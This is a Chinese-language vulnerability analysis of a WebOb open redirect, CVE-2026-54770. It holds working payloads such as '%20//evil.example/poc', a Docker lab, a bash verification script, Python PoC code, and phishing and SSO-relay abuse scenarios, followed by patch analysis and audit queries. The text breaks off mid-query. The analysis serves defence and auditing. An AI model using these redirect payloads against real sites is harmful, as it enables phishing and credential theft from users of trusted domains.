很多 open redirect 漏洞第一次看都不太“吓人”。它既不是 RCE,也不会像 SQL 注入那样一眼就让人绷紧神经。但从攻击者视角看,这类问题真正值钱的地方,从来不是那个 302 本身,而是它能不能借着一个可信站点,把用户平滑地送进后续攻击流程。

CVE-2026-54770 就属于这一类。

这个漏洞影响 WebOb < 1.8.11。表面上看,它像是一次“重定向目标校验不严”;往深里看,本质其实是更典型的安全边界错位:应用和框架前置检查看到的是一个字符串,底层 URL 解析器真正消费的却是另一个已经被规范化过的字符串。攻击者利用的不是一个显眼的 https://evil.example,而是一个在检查阶段看起来还像站内路径、到了 URL 解析阶段却会“变脸”的输入。

如果把整件事压缩成一句话,那就是:

WebOb 拦截的是原始值,urljoin() 解释的是规范化后的值;两者不是同一个东西,于是攻击者就有了可乘之机。

漏洞是什么

这个漏洞出现在 WebOb 处理重定向目标的几条常见路径上:

  • Response.location
  • webob.exc.HTTPFound 一类重定向异常
  • Request.relative_url()

现实里的触发点通常都不陌生:

  • 登录后的 next
  • 认证完成后的 return_to
  • 下载、邀请、工单、支付完成页里的“返回原页面”
  • 任何把用户输入继续送进 Location 头的业务逻辑

攻击者最关心的不是参数名,而是“用户可控值最终会不会进入 URL 绝对化逻辑”。只要答案是会,这类点就值得继续试。

这次最有代表性的 payload 是:

%20//evil.example/poc

请求到服务端后,%20 会被解码成前导空格,得到:

 //evil.example/poc

问题正出在这里。

在 WebOb 旧逻辑里,这个值在进入检查代码时:

  • 不是显式 http:// 或 https://
  • 也不是严格以 // 起头

但当它继续进入 Python 标准库 urllib.parse.urljoin() 时,前导空格会被剥离,剩下的内容就变成了真正的协议相对 URL:

//evil.example/poc

于是浏览器最终看到的,就是一个离站跳转目标。

如果想把这个“变脸”过程压缩成最小证据,单看 Python 标准库行为就够了:

from urllib.parse import urljoin

base = "http://localhost/"
print(urljoin(base, "//evil.example/poc"))
print(urljoin(base, " //evil.example/poc"))
print(urljoin(base, "\t//evil.example/poc"))
print(urljoin(base, " https://evil.example/poc"))

本机 python3 实测输出:

http://evil.example/poc
http://evil.example/poc
http://evil.example/poc
 https://evil.example/poc

下面这张图是在宿主机终端直接跑这段 python3 验证代码时的截图,方便把输入和输出放在同一个证据里看。

​

这段输出很能说明问题:

  • 对 //evil.example/poc,urljoin() 会直接把它解释成协议相对 URL
  • 对 //evil.example/poc 和 //evil.example/poc,前导空白被剥离后,语义与上一条等价
  • 对 https://evil.example/poc,标准库没有把返回值直接改写成干净的绝对 URL,但这个值依然可能在后续客户端解析里表现为离站目标

攻击者会怎么找到这个点

真实攻击里,攻击者通常不是先读 patch,而是先找“哪里能控制跳转目标”。

这套复现应用把用户输入 next 分别送进了三条路径:

  • /response?next=<value> 对应 Response.location
  • /exception?next=<value> 对应 exc.HTTPFound(location=target)
  • /relative?next=<value> 对应 Request.relative_url()

它们对应的也正是代码审计里最常见的三种写法:

res.location = next
raise HTTPFound(location=next)
req.relative_url(next)

为了让后文的调用链和业务入口能一一对上,先看一下这套复现应用里的最小触发代码:

def response_redirect(target: str) -> Response:
    res = Response(status=302, text="redirect via Response.location\n")
    res.location = target
    return res


def relative_url_result(req: Request, target: str) -> Response:
    absolute = req.relative_url(target)
    body = "\n".join(
        [
            f"webob={WEBOB_VERSION}",
            f"input={target!r}",
            f"relative_url={absolute!r}",
        ]
    )
    return Response(text=body, content_type="text/plain", charset="utf-8")


@wsgify
def application(req: Request) -> Response:
    target = req.params.get("next", "/safe")
    path = req.path_info

    if path == "/response":
        res = response_redirect(target)
    elif path == "/exception":
        res = exc.HTTPFound(location=target)
    elif path == "/relative":
        res = relative_url_result(req, target)

这段代码的价值在于它把三个 sink 摆在了同一层业务视角里:next 都来自 req.params,差别只在于后面把它送进了 Response.location、HTTPFound,还是 relative_url()。

因此,攻击者在白盒和黑盒里通常会优先盯两类信号:

  • 参数名像 next、return_to、redirect、continue
  • 返回结果会进入 Location 响应头,或者进入某个后续会被信任的 URL helper

真正有经验的攻击者,不会只拿 https://evil.example 一把梭。他更可能按下面的顺序去试:

  1. 先试显式外链 https://evil.example/poc
  2. 再试协议相对 URL //evil.example/poc
  3. 如果还不通,就开始在前面加空格、tab 或控制字符
  4. 一旦发现“检查阶段像相对路径,解析阶段像外链”的分叉,利用链就基本成型了

所以这个漏洞好用的地方,不在某个神奇字符,而在“同一串输入在不同处理阶段会不会被看成两回事”。

复现环境

这篇文章用的不是单个 PoC,而是一套对照环境,方便同时观察脆弱版和修复版的差异。

这套对照环境主要有三点:

  • 两个容器并排保留 1.8.10 和 1.8.11,方便同 payload 横向对照
  • 库级 PoC 和 HTTP 层验证拆开执行,先证实语义翻转,再证实真实 Location 头
  • 镜像优先使用本地 wheel 安装目标版本,尽量减少对外网依赖

先看镜像构建逻辑。它负责复制最小演示应用、PoC 脚本和本地 wheel,并通过 WEBOB_VERSION 在脆弱版与修复版之间切换:

FROM python:3.12-slim

ARG WEBOB_VERSION

ENV PYTHONDONTWRITEBYTECODE=1 \
    PYTHONUNBUFFERED=1

WORKDIR /app

COPY app.py /app/app.py
COPY poc_cases.py /app/poc_cases.py
COPY vendor /app/vendor

RUN wheel_path="$(find /app/vendor -maxdepth 1 -type f -iname "webob-${WEBOB_VERSION}-*.whl" | head -n 1)" && \
    if [ -n "$wheel_path" ]; then \
        python -m pip install --no-cache-dir "$wheel_path"; \
    else \
        python -m pip install --no-cache-dir "WebOb==${WEBOB_VERSION}"; \
    fi

EXPOSE 8000

CMD ["python", "/app/app.py"]

真正让对照实验顺手的是双服务编排。下面这份配置把两个版本同时拉起,并用健康检查保证后续验证时服务已经 ready:

services:
  webob-1810:
    build:
      context: .
      args:
        WEBOB_VERSION: "1.8.10"
    container_name: webob-cve-2026-54770-1810
    healthcheck:
      test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://127.0.0.1:8000/')"]
      interval: 2s
      timeout: 2s
      retries: 15
      start_period: 1s
    ports:
      - "18080:8000"

  webob-1811:
    build:
      context: .
      args:
        WEBOB_VERSION: "1.8.11"
    container_name: webob-cve-2026-54770-1811
    healthcheck:
      test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://127.0.0.1:8000/')"]
      interval: 2s
      timeout: 2s
      retries: 15
      start_period: 1s
    ports:
      - "18081:8000"

这样做的好处很直接:同一组 payload,可以在两个版本之间横向对比,不用来回换环境。

启动方式也很简单:

docker compose build
docker compose up -d --wait

随后可以直接访问:

curl http://127.0.0.1:18080/
curl http://127.0.0.1:18081/

下面这张图对应在宿主机完成构建、启动和首页探活时的终端截图。

​

如果只是想快速验证,下面这份一键验证脚本可以直接复用。它会自动构建镜像、跑库级 PoC、启动演示服务,并把关键请求的 Location 头打印出来:

#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"

cleanup() {
  docker compose down --remove-orphans >/dev/null 2>&1 || true
}

trap cleanup EXIT

echo "[*] Building vulnerable and fixed containers"
docker compose build

echo
echo "[*] Running standalone PoC cases inside both containers"
echo "--- webob 1.8.10 ---"
docker compose run --rm --no-deps webob-1810 python /app/poc_cases.py
echo
echo "--- webob 1.8.11 ---"
docker compose run --rm --no-deps webob-1811 python /app/poc_cases.py

echo
echo "[*] Starting HTTP demo services"
docker compose up -d --wait

print_location() {
  local label="$1"
  local url="$2"
  local location
  location="$(curl -isS "$url" | tr -d '\r' | sed -n 's/^Location: //p')"
  printf '%s\n' "$label"
  printf '  %s\n' "$url"
  printf '  Location: %s\n' "${location:-<none>}"
}

echo
print_location \
  "Response.location vulnerable case (leading space + protocol-relative target)" \
  "http://127.0.0.1:18080/response?next=%20//evil.example/poc"
print_location \
  "Response.location fixed case (same payload on 1.8.11)" \
  "http://127.0.0.1:18081/response?next=%20//evil.example/poc"
print_location \
  "Response.location vulnerable absolute-URL variant (leading space + absolute URL)" \
  "http://127.0.0.1:18080/response?next=%20https://evil.example/poc"
print_location \
  "Response.location fixed absolute-URL variant (same payload on 1.8.11)" \
  "http://127.0.0.1:18081/response?next=%20https://evil.example/poc"
print_location \
  "HTTPFound vulnerable case (protocol-relative target)" \
  "http://127.0.0.1:18080/exception?next=//evil.example/poc"
print_location \
  "HTTPFound fixed case (same payload on 1.8.11)" \
  "http://127.0.0.1:18081/exception?next=//evil.example/poc"

下面这张图对应同一天直接执行上面这份一键验证脚本时的终端输出,能看到它如何把关键 Location 结果压缩成一组可对照证据。

​

复现结果

1. 先看库层行为

库级对照用的最小 PoC 其实也很短,核心就是分别把同一组输入送进 Response.location、HTTPFound 和 relative_url():

from importlib.metadata import version

from webob import Response, exc
from webob.request import Request

WEBOB_VERSION = version("WebOb")


def run() -> None:
    req = Request.blank("/")

    res = Response()
    res.status = "301"
    res.location = " //evil.example/poc"
    print(f"webob={WEBOB_VERSION}")
    print(f"response_space_proto={req.get_response(res).location!r}")

    res.location = " https://evil.example/poc"
    print(f"response_space_absolute={req.get_response(res).location!r}")

    environ = {
        "wsgi.url_scheme": "http",
        "SERVER_NAME": "localhost",
        "SERVER_PORT": "80",
        "REQUEST_METHOD": "HEAD",
        "PATH_INFO": "/",
    }
    move = exc.HTTPFound(location="//evil.example/poc")
    move(environ, lambda *args, **kwargs: None)
    print(f"httpfound_location={move.location!r}")

    relative = req.relative_url(" //evil.example/poc")
    print(f"relative_url_space_proto={relative!r}")


if __name__ == "__main__":
    run()

这段 PoC 直接调用 WebOb API,适合先确认“语义翻转”在框架内部是不是真的存在。

本机观测到的结果如下。

脆弱版本 1.8.10:

webob=1.8.10
response_space_proto='http://evil.example/poc'
response_space_absolute=' https://evil.example/poc'
httpfound_location='http://evil.example/poc'
relative_url_space_proto='http://evil.example/poc'

修复版本 1.8.11:

webob=1.8.11
response_space_proto='http://localhost/ //evil.example/poc'
response_space_absolute='http://localhost/ https://evil.example/poc'
httpfound_location='http://localhost/%2fevil.example/poc'
relative_url_space_proto='http://localhost/ //evil.example/poc'

这组输出已经把问题讲得很明白了。

在 1.8.10 里,原本带前导空格的 //evil.example/poc 被提升成了真正的离站地址;到了 1.8.11,同样的输入不再被解释成 off-host redirect。

下面两张图是在对应容器内直接执行上面这段最小 PoC 时的终端截图。

​

​

2. 再看 HTTP 层

真正的攻击最终落到 HTTP 响应上,所以还得看 Location 头是否真的可控。

下面几张图同样来自容器内实跑结果。由于当前 python:3.12-slim 基础镜像未内置 curl,截图中使用的是 Python 标准库发起与文中 curl 等价的请求。

Response.location

curl -i "http://127.0.0.1:18080/response?next=%20//evil.example/poc"
curl -i "http://127.0.0.1:18081/response?next=%20//evil.example/poc"

本机实测:

1.8.10:
Location: http://evil.example/poc

1.8.11:
Location: http://127.0.0.1:18081/ //evil.example/poc

下面这张图把两版容器对同一路径的真实请求与响应放在了一起,适合直接对照 Location 头变化。

​

HTTPFound

curl -i "http://127.0.0.1:18080/exception?next=//evil.example/poc"
curl -i "http://127.0.0.1:18081/exception?next=//evil.example/poc"

本机实测:

1.8.10:
Location: http://evil.example/poc

1.8.11:
Location: http://127.0.0.1:18081/%2fevil.example/poc

下面这张图对应异常重定向路径,能更直观看到 1.8.10 直接离站,而 1.8.11 已回收到站内绝对化结果。

​

这条路径尤其值得注意,因为它连“前导空格绕过”都不需要,直接传 //evil.example/poc 就能在 1.8.10 形成离站跳转。

Request.relative_url()

curl "http://127.0.0.1:18080/relative?next=%20//evil.example/poc"
curl "http://127.0.0.1:18081/relative?next=%20//evil.example/poc"

这条路径不会直接返回 30x,但它证明了另一件对攻击者很重要的事:如果业务层把 relative_url() 的结果继续用于跳转、模板渲染或通知链接,那么恶意输入就已经被加工成了一个更“像正常 URL”的中间结果。

下面这张图对应 relative_url() 的真实输出。它不会直接给出 302,但很适合展示“二阶利用”前的中间值已经被改写成什么样。

​

3. 把结果压成一张表

如果把这次复现里最关键的 payload 和三条路径放在一起看,漏洞边界会更清楚:

Payload

路径

1.8.10

1.8.11

说明

//evil.example/poc

HTTPFound

直接离站

不再离站

这条路径最短,黑盒最容易确认

%20//evil.example/poc

Response.location

直接离站

不再离站

典型“检查阶段像相对路径,解析阶段像外链”

%20//evil.example/poc

Request.relative_url()

产出离站绝对 URL

产出站内绝对 URL

不是直接 30x,但适合二阶利用

%20https://evil.example/poc

Response.location

原始响应头保留前导空格

不再被当成离站绝对 URL

适合拿来说明“响应头形态”和“客户端行为”并不总一致

//evil.example/poc

相关 urljoin 路径

与前导空格同类风险

修复版统一收敛

说明问题不是 %20 特例,而是一类前导空白语义翻转

4. 一个容易被忽略的细节

另一组补充 payload 是:

%20https://evil.example/poc

这次在 HTTP 层,1.8.10 返回的是:

Location:  https://evil.example/poc

它在响应头里保留了前导空格,没有像协议相对 URL 那样直接显出一个完全归一化的外站地址。但这并不意味着它就安全。至少在这次本机环境下,客户端跟随重定向时依然会把它解释为外站目标。

下面这张图把这个补充 payload 在两版容器里的真实 HTTP 响应头并排放在了一起,更适合直接观察 Location 头到底保留了什么。

​

这个细节很值得写清楚,因为它提醒我们三件事:

  • 容器里直接调库,和观察原始 HTTP 响应头,不一定完全等价
  • 原始响应头长什么样,和客户端最后怎么跳,也不一定完全等价
  • 最稳定、最容易讲清楚问题的复现点,仍然是 //evil.example/poc 以及 %20//evil.example/poc

漏洞是怎么形成的

这部分是整篇文章最核心的地方。攻击者不是“碰巧试出来一个能跳的字符串”,而是在顺着调用链找哪个节点会把用户输入送进有问题的 URL 解析逻辑。

1. Response.location 这条链

在这套最小应用中,/response 的处理逻辑很直白:

res = response_redirect(target)

而 response_redirect(target) 最终做的是:

res.location = target

如果只盯着业务代码,这一行看起来平平无奇。但 WebOb 真正危险的地方,不在这里,而在响应真正发出去之前。

根据CodeQL 调用链整理,这条路径可以概括成:

  1. req.params.get("next") 取到用户输入
  2. 业务代码执行 res.location = target
  3. 值先进入 Response 内部头部容器
  4. 响应发出前,_abs_headerlist() 处理 Location
  5. _make_location_absolute(environ, value) 对值做绝对化
  6. 在 1.8.10 中,这一步最终调用了 urllib.parse.urljoin(...)

问题就卡在第 5 步和第 6 步之间。

如果把 WebOb 在这条链上的真实实现按执行顺序摆出来,问题会比“口头描述调用链”更直观。

先看 Response.location 本身在 1.8.10 里是怎么挂到响应对象上的:

# webob/response.py @ 1.8.10
location = header_getter('Location', '14.30')

这个 descriptor 的 setter 也很关键,因为它说明 res.location = target 当场并不会做 URL 安全判断:

# webob/descriptors.py @ 1.8.10
def header_getter(header, rfc_section):
    ...
    def fset(r, value):
        fdel(r)
        if value is not None:
            if '\n' in value or '\r' in value:
                raise ValueError('Header value may not contain control characters')

            if isinstance(value, text_type) and PY2:
                value = value.encode('latin-1')
            r._headerlist.append((header, value))

真正决定 Location 如何被绝对化的,是响应发出前这一段:

# webob/response.py @ 1.8.10
@staticmethod
def _make_location_absolute(environ, value):
    # urllib.parse.urlsplit() (called internally by urljoin) strips
    # ASCII tab, CR, and LF from the URL on Python 3.10+. Strip them
    # ourselves first so they cannot be used to bypass the SCHEME_RE
    # or protocol-relative ("//") checks below.
    value = value.replace("\t", "").replace("\r", "").replace("\n", "")

    if SCHEME_RE.search(value):
        return value

    if value.startswith("//"):
        value = "/%2f{}".format(value[2:])
    new_location = urlparse.urljoin(_request_uri(environ), value)
    return new_location

def _abs_headerlist(self, environ):
    return [
        (k, v) if k.lower() != 'location'
        else (k, self._make_location_absolute(environ, v))
        for (k, v) in self._headerlist
    ]

def __call__(self, environ, start_response):
    ...
    headerlist = self._abs_headerlist(environ)
    start_response(self.status, headerlist)

如果再按 source-to-sink 证据把它拆细一点,链路会更扎实:

Stage

节点

证据类型

位置

source

req.params.get("next") -> response_redirect(target)

source-to-sink

app.py:50 -> 56

helper

response_redirect(target) -> res.location = target

source-to-sink

app.py:30 -> 32

bridge

Response.location = header_getter('Location', ...)

bridge

src/webob/response.py:752 in 1.8.10

bridge

header_getter.fset(value) -> r._headerlist.append((header, value))

bridge

src/webob/descriptors.py:149

dispatch

Response.__call__ -> self._abs_headerlist(environ)

dispatch

src/webob/response.py:1320 in 1.8.10

bridge

_abs_headerlist -> self._make_location_absolute(environ, v)

bridge

src/webob/response.py:1304 in 1.8.10

sink

Response._make_location_absolute(value) -> urlparse.urljoin(..., value)

source-to-sink

src/webob/response.py:1283 -> 1297 in 1.8.10

这张表把 next 从业务入口一路传到 urljoin() 的链路补齐了,也说明这个漏洞并不是某个局部判断写错,而是应用层输入、WebOb 内部桥接和标准库 URL 解析共同形成的语义错位。

如果把这条链再按运行时生命周期翻一遍,会更容易看清 WebOb 内部到底是哪一层在“重新理解”这个值:

  1. res.location = target 并不会立刻做 URL 绝对化
  2. Response.location 本质上只是 header_getter('Location', ...) 暴露出来的 descriptor
  3. descriptor 的 fset() 做的事情很克制:先删除旧值,再把新的 (header, value) 直接 append 进 r._headerlist
  4. 这个阶段真正拒绝的只有 / 一类会破坏响应头结构的控制字符,而不是“它是不是站外 URL”
  5. 直到 Response.__call__ 准备发响应,_abs_headerlist() 才会对 Location 头调用 _make_location_absolute()

换句话说,攻击面不是“赋值这一刻立刻跳错了”,而是“原始值先被当成普通响应头保存,到了发送阶段才被框架内部的绝对化逻辑再次解释”。这也是为什么只读业务代码里的:

res.location = target

很难直接意识到后面还有一次解析语义切换。

旧逻辑大意是:

value = value.replace("\t", "").replace("\r", "").replace("\n", "")

if SCHEME_RE.search(value):
    return value

if value.startswith("//"):
    value = "/%2f{}".format(value[2:])

new_location = urlparse.urljoin(_request_uri(environ), value)

它试图拦住两类明显危险的输入:

  • 显式带 scheme 的 URL
  • 明显以 // 起头的协议相对 URL

如果只看 WebOb 自己这几行,很多人会以为“已经把明显外链挡得差不多了”。真正的语义翻转,发生在它把值继续交给 CPython 标准库之后。

再往 urllib.parse 里钻一层,urljoin() 并不是直接拿原始字符串拼接。它会先分别对 base 和 reference 调 _urlsplit();而在 2026-08-31 本机 Python 3.14.6 的实现里,_urlsplit() 开头就是:

def _urlsplit(url, scheme=None, allow_fragments=True):
    # Only lstrip url as some applications rely on preserving trailing space.
    url = url.lstrip(_WHATWG_C0_CONTROL_OR_SPACE)
    for b in _UNSAFE_URL_BYTES_TO_REMOVE:
        url = url.replace(b, "")
    ...
    if i > 0 and url[0].isascii() and url[0].isalpha():
        ...
    if url[:2] == '//':
        netloc, url = _splitnetloc(url, 2)
    ...
    return (scheme, netloc, url, query, fragment)

其中 _WHATWG_C0_CONTROL_OR_SPACE 包含 0x00-0x20,也就是一整段 C0 控制字符再加普通空格;_UNSAFE_URL_BYTES_TO_REMOVE 则是 、、 。这意味着对:

 //evil.example/poc

这样的输入,CPython 在真正判断它是不是 authority 之前,先做的并不是“按原样解析”,而是近似于:

" //evil.example/poc"  ->  "//evil.example/poc"

一旦前导空格被剥掉,后面的分支判断就完全变了:

  1. _urlsplit() 看到字符串现在以 // 起头
  2. 它把 evil.example 识别成 netloc
  3. 把 /poc 识别成 path
  4. urljoin("http://localhost/", value) 因为 reference 已经带 netloc,于是返回 http://evil.example/poc

但它漏掉了最关键的一点:安全检查看到的是还没被完整规范化的 value,而 urljoin() 真正解析的,已经是按自身规则预处理过的值。

于是攻击者传入:

 //evil.example/poc

在 startswith("//") 阶段,第一个字符还是空格,所以不会命中;可一旦进入 urljoin(),空格被剥离,剩下的就成了标准的协议相对 URL,越站跳转也就成立了。

这条链的关键,不是“少过滤了一个空格”,而是“过滤对象”和“解析对象”根本不是同一个语义对象。

2. HTTPFound / _HTTPMove 这条链

从攻击者视角看,HTTPFound 这一支其实更危险。

在 1.8.10 的旧逻辑里,_HTTPMove.__call__ 会直接执行:

def __call__(self, environ, start_response):
    req = Request(environ)
    if self.add_slash:
        url = req.path_url
        url += '/'
        if req.environ.get('QUERY_STRING'):
            url += '?' + req.environ['QUERY_STRING']
        self.location = url
    self.location = urlparse.urljoin(req.path_url, self.location)
    return super(_HTTPMove, self).__call__(environ, start_response)

这意味着它没有完整复用 Response._make_location_absolute() 的那套逻辑,而是自己走了一条更短的路径。

攻击者能从这里得到两个好处:

  • payload 更短,很多场景下直接 //evil.example/poc 就够了
  • 黑盒反馈更直接,因为中间桥接节点更少

这也是为什么现实里只要看到:

raise HTTPFound(location=next)

这类代码,我会优先怀疑它是不是攻击入口。

3. Request.relative_url() 这条链

relative_url() 不是最直观的 302 sink,但它很适合做“二阶利用”。

旧版 BaseRequest.relative_url(other_url) 最终会把用户输入交给:

def relative_url(self, other_url, to_application=False):
    """
    Resolve other_url relative to the request URL.
    """
    if to_application:
        url = self.application_url
        if not url.endswith('/'):
            url += '/'
    else:
        url = self.path_url
    return urlparse.urljoin(url, other_url)

如果开发者把它理解成“只是把相对路径补成绝对地址的一个方便函数”,就很容易忽略这里其实已经发生了一次重新解释。

攻击者喜欢这类 helper,不是因为它马上能打出跳转,而是因为它会把原本带脏数据的输入,加工成一个业务下游更愿意信任的绝对 URL。后面无论是继续写进 Location、写进模板,还是塞进邮件正文,风险都会被放大。

一个很典型的二阶落点大概会长这样:

safe_next = req.relative_url(req.params["next"])
raise HTTPFound(location=safe_next)

如果开发者主观上把 relative_url() 的返回值理解成“框架已经替我规整过的安全 URL”,那这一步就等于把攻击者输入包装成了一个更容易继续流入 sink 的中间结果。

为什么说这是结构性问题

这次漏洞分析里最值得留意的一点,是问题并不只出现在一个冷门函数里。它同时影响了三条高频路径:

  • Response.location
  • HTTPFound 及其同类异常
  • Request.relative_url()

这说明它不是“某个 if 条件少写了一点”,而是更底层的 URL 处理思路本身出了问题:

  1. 多个入口都把用户输入继续送进了 URL 绝对化逻辑
  2. 多个入口都默认“前置判断足以代表最终 URL 语义”
  3. 多个入口都没有保证“检查阶段”和“解析阶段”面对的是同一份规范化结果

从攻击者角度看,这种结构性问题通常比单点 bug 更有价值。因为一旦一个入口能打通,往往意味着相邻入口也值得一起怀疑;即便某条路径先修了,其他路径也未必同步安全。

修复版做了什么

1.8.11 的修复思路很干净,重点不是继续往旧逻辑上打补丁,而是把几条分散的链路重新收口。

主要变化有三点:

  1. Response._make_location_absolute() 不再依赖 urllib.parse.urljoin(),而是改用 WebOb 自己的 webob.util.urljoin()
  2. BaseRequest.relative_url() 同样切换到 webob.util.urljoin()
  3. _HTTPMove.__call__ 不再单独拼 urljoin(req.path_url, self.location),而是复用 _make_location_absolute()

这三步连起来的意义很大。

对应到 1.8.11 的真实代码,三个入口的收口关系也能直接看出来:

# webob/response.py @ 1.8.11
if value.startswith("//"):
    value = "/%2f{}".format(value[2:])

# urllib.parse.urljoin() removes ASCII tab/CR/LF anywhere in the
# URL and strips leading and trailing C0 control and space
# characters before parsing.
new_location = urljoin(_request_uri(environ), value)
# webob/request.py @ 1.8.11
if to_application:
    url = self.application_url
    if not url.endswith('/'):
        url += '/'
else:
    url = self.path_url
return urljoin(url, other_url)
# webob/exc.py @ 1.8.11
if self.location:
    self.location = self._make_location_absolute(environ, self.location)
else:
    self.location = req.path_url
return super(_HTTPMove, self).__call__(environ, start_response)

它修掉的不是某一个 payload,而是原来那种“检查用一套语义,解析用另一套语义”的结构性错位。也正因为如此,这个补丁看起来比“多加一个 strip()”更让人放心。

如果修复只是补一个新的过滤条件,通常还会留下不少边角问题:

  • 只处理空格,其他控制字符怎么办
  • 一个入口修了,另一个入口是不是还在各走各的
  • 现在挡住了当前 PoC,下一个等价变体会不会又从别处绕出来

1.8.11 选择的是更稳妥的做法:统一解析入口,统一绝对化路径,让安全判断和最终 URL 解释尽量基于同一套规则。

如果再把 webob.util.urljoin() 往里拆一层,就能看到这不是“换个函数名”那么简单。

它先用自家的 _split_uri_reference() 按 RFC 3986 语法拆五元组:

def _split_uri_reference(uri):
    """Split a URI reference into its five components.

    Unlike ``urllib.parse.urlsplit()``, no characters are ever removed
    from the reference.
    """
    scheme = authority = query = fragment = None
    rest, sep, token = uri.partition("#")
    ...
    rest, sep, token = rest.partition("?")
    ...
    token, sep, candidate = rest.partition(":")

    if sep and _URI_SCHEME_RE.match(token):
        scheme = token
        rest = candidate

    if rest.startswith("//"):
        end = rest.find("/", 2)
        if end == -1:
            authority, rest = rest[2:], ""
        else:
            authority, rest = rest[2:end], rest[end:]

    return scheme, authority, rest, query, fragment

这个 helper 的关键点恰恰写在它自己的 docstring 里:Unlike urllib.parse.urlsplit(), no characters are ever removed from the reference。也就是说,WebOb 在这一层明确选择了“逐字符解释输入”,不对前导空格、C0 控制字符或中间的 tab/CR/LF 做隐式剥离。

这会直接改变 " //evil.example/poc" 的分类结果:

  1. rest.startswith("//") 不成立,因为第一个字符仍然是空格
  2. authority 因此保持 None
  3. 整个字符串会被当成相对路径的一部分,而不是 protocol-relative reference
  4. 后续 urljoin(base, url) 走的是 RFC 3986 的 merge-path 分支,结果会落成 http://host/ //evil.example/poc 这一类站内绝对 URL

这就是修复真正“锁住语义”的地方。旧版的问题不是不会拼 URL,而是在进入拼接前偷偷换了输入的词法类别;新版则把“这个值到底是 authority 还是 path”固定在同一份原始字符流上判断。

如果把补丁差异压缩成最关键的三行,变化其实很直观:

路径

1.8.10

1.8.11

安全意义

Response._make_location_absolute()

urlparse.urljoin(_request_uri(environ), value)

urljoin(_request_uri(environ), value)

不再让标准库预处理改变输入语义

BaseRequest.relative_url()

urlparse.urljoin(url, other_url)

urljoin(url, other_url)

helper 不再把前导空白值重新解释成外链

_HTTPMove.__call__

urlparse.urljoin(req.path_url, self.location)

self._make_location_absolute(environ, self.location)

异常重定向路径回收到统一绝对化逻辑

这也是为什么我更愿意把它称为“解析语义统一修复”,而不是“多补了几个过滤条件”:

  • 修复前,三个入口虽然长得不同,但都可能在后段共享同一种错误语义
  • 修复后,Response.location、HTTPFound 及其同类异常、relative_url() 都尽量收敛到同一套 URL 解释规则
  • 这种改法降低的不是某一个 payload 的命中率,而是整类“前置检查和最终解析不一致”的结构性风险

真实攻击里,这个漏洞怎么产生价值

如果只把它看成“302 到了别的网站”,这个漏洞很容易被低估。把它放进真实业务流里,价值就清楚了。

1. 钓鱼跳转

最典型的用法,就是把可信站点当成第一跳。

例如:

https://target.example/login?next=%20//evil.example/phish

用户第一眼看到的是官方域名,先进入的也是官方登录页,随后才被送到攻击者控制的页面。这个时候,攻击者完全可以在第二落点伪造:

  • “登录超时,请重新验证”
  • “检测到异常,需要补录 MFA”
  • “请继续下载客户端证书”

它不需要浏览器漏洞,也不需要复杂利用链,靠的就是可信首跳带来的转化率。

2. OAuth / SSO 流程里的中继点

如果漏洞点出现在登录完成后的回跳逻辑里,它的价值就不只是跳转。

攻击者可以把它当成认证流程里的一个可信中继页,让用户误以为自己仍在同一套登录链路中。很多时候,攻击者并不急着直接拿 token;他更看重的是这个时机能不能诱导出第二次输入、授权确认,或者别的高价值交互。

3. 事务完成页和邀请链接

下载完成页、支付完成页、工单提交成功页、邀请注册链接,这些地方的用户警惕性通常比登录页更低。

原因很简单:用户刚完成一个真实操作,天然会接受页面上的“继续前往”“查看详情”“返回控制台”。如果这一步的回跳地址可控,可信站点就会变成一个非常顺手的分流节点。

审计时我会怎么找

如果我要在一个 WebOb 项目里审这类问题,优先级会很明确。

白盒先看:

  • res.location = ...
  • HTTPFound(location=...)
  • HTTPSeeOther(location=...)
  • relative_url(...)

黑盒先看:

  • 30x 响应中的 Location 是否受用户输入影响
  • next、return_to、redirect 一类参数是否原样参与跳转
  • //evil.example/poc 和 %20//evil.example/poc 这样的 payload 是否能制造“检查与解析不一致”

如果要做更深一点的确认,我会特别留意两种代码味道:

  • 业务层只做了“看起来不像外链”的字符串判断
  • helper 返回值被当成“框架已经处理过,所以应该安全”的中间结果继续复用

这两种情况都很容易出问题。

审计与检测

如果把这次分析沉淀成日常审计动作,我会分成三层来做。

1. 先做代码级枚举

最先搜的不是 CVE 编号,而是这些高频入口:

rg -n 'res\.location\s*=|HTTPFound\s*\(|HTTPSeeOther\s*\(|HTTPTemporaryRedirect\s*\(|HTTPPermanentRedirect\s*\(|relative_url\s*\('

这一步的目标不是直接判洞,而是先圈出所有“用户输入可能进入 URL 绝对化逻辑”的位置。

下面这张图展示了在当前仓库里直接跑这条 rg 后命中的典型位置,适合作为代码级枚举阶段的终端证据。

​

2. 再看值有没有真的走到 sink

如果项目里已经有 CodeQL,比起只列查询文件名,更值得把四类关键查询骨架直接放进审计笔记里。它们分别回答四个问题:用户输入怎么进入应用分支、helper 内部怎么继续传、库层最终掉进哪个 urljoin、以及 Response.location 的最后一跳有没有真正闭合。

第一类查询直接盯应用层入口,看 req.params.get("next") 能不能流进三个业务 sink:

predicate isAppRedirectSource(DataFlow::Node node) {
  exists(DataFlow::CallCfgNode call, DataFlow::AttrRef getAttr, DataFlow::AttrRef paramsAttr,
    StringLiteral key |
    node = call and
    call.getFunction() = getAttr and
    getAttr.getAttributeName() = "get" and
    getAttr.getObject() = paramsAttr and
    paramsAttr.getAttributeName() = "params" and
    paramsAttr.getObject().asExpr().(Name).getId() = "req" and
    call.getArg(0).asExpr() = key and
    key.getText() = "next"
  )
}

predicate isAppRedirectSink(DataFlow::Node node, string kind) {
  exists(DataFlow::CallCfgNode call |
    (
      call.getFunction().asCfgNode().(NameNode).getId() = "response_redirect" and
      node = call.getArg(0) and
      kind = "application -> response_redirect(target)"
      or
      call.getFunction().(DataFlow::AttrRef).getAttributeName() = "HTTPFound" and
      node = call.getArgByName("location") and
      kind = "application -> exc.HTTPFound(location=target)"
      or
      call.getFunction().(DataFlow::AttrRef).getAttributeName() = "relative_url" and
      node = call.getArg(0) and
      kind = "relative_url_result -> req.relative_url(target)"
    )
  )
}

第二类查询补 helper 内部传播,避免只看见入口却漏掉 target 在函数体里是怎么继续走的:

predicate isHelperSource(DataFlow::Node node, string kind) {
  exists(Function f |
    (
      f.getQualifiedName() = "response_redirect" and
      node = DataFlow::parameterNode(f.getArgByName("target")) and
      kind = "response_redirect(target)"
      or
